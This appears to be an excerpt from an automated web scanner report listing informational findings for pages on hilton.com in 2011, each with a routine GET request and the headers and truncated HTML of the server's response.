| GET /en/hi/cart/index.jhtml HTTP/1.1 Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:11 GMT Connection: close Connection: Transfer-Encoding Content-Length: 33897 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR <html> <head> <title>My Favorite Hotels</title> <link rel ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/ctg/index.jhtml |
| GET /en/hi/ctg/index.jhtml HTTP/1.1 Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:11 GMT Connection: close Connection: Transfer-Encoding Content-Length: 38096 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title> Hilton Hotels - Travel Guides </title> <link ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/groups/index.jhtml |
| GET /en/hi/groups/index.jhtml Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:11 GMT Connection: close Connection: Transfer-Encoding Content-Length: 73945 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>Meeting Planner Tools & Information - Hilton Hotels e-Events</title> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/help/sign_in_help |
| GET /en/hi/help/sign_in_help Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:43 GMT Content-Length: 26817 Connection: close <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Need Help Signing In</TITLE> <META name="description" content="Need Help Signi ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search/city |
| GET /en/hi/hotels/search/city Host: www.hilton.com Proxy-Connection: keep-alive Referer: http://www1.hilton.com/en Cache-Control: max-age=0 Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Fri, 11 Feb 2011 01:55:42 GMT Connection: close Content-Length: 29530 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Hilton Hotels - Search Results for Groups and Meetings</title> <link rel="stylesheet ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search |
| GET /en/hi/hotels/search Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:30 GMT Connection: close Connection: Transfer-Encoding Content-Length: 103065 <link rel="StyleSheet" href="hhonors/hh_search <link rel="StyleSheet" href="/en/hi/hotels ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search |
| GET /en/hi/hotels/search Host: www.hilton.com Proxy-Connection: keep-alive Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Fri, 11 Feb 2011 02:16:20 GMT Connection: close Content-Length: 121389 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Search Results</title> <!-- Added for meta tag - e-event ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/HI |
| GET /en/hi/promotions/HI Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:50 GMT Connection: close Connection: Transfer-Encoding Content-Length: 37224 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:47 GMT Connection: close Connection: Transfer-Encoding Content-Length: 83849 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:57:09 GMT Content-Length: 32562 Connection: close <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Hilton Free i ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:57:12 GMT Connection: close Connection: Transfer-Encoding Content-Length: 34629 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:57:07 GMT Content-Length: 30993 Connection: close <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Stay Connecte ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:45 GMT Connection: close Connection: Transfer-Encoding Content-Length: 42417 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Escape this Winter</TITLE> <META ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hilton |
| GET /en/hi/promotions/hilton Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:47 GMT Connection: close Connection: Transfer-Encoding Content-Length: 62666 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Hotel Global ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions |
| GET /en/hi/promotions Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:57:04 GMT Connection: close Connection: Transfer-Encoding Content-Length: 66112 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Hilton Hotels Advanced ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/index |
| GET /en/hi/promotions/index Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:44 GMT Connection: close Connection: Transfer-Encoding Content-Length: 129290 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Hilton Hotels Specials & Packages - Featured Offers</TITLE> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/resorts/index |
| GET /en/hi/resorts/index Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:12 GMT Connection: close Connection: Transfer-Encoding Content-Length: 40344 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Resorts & Spas</TITLE> <META name="description" content="Hilton Resorts & S ...[SNIP]... |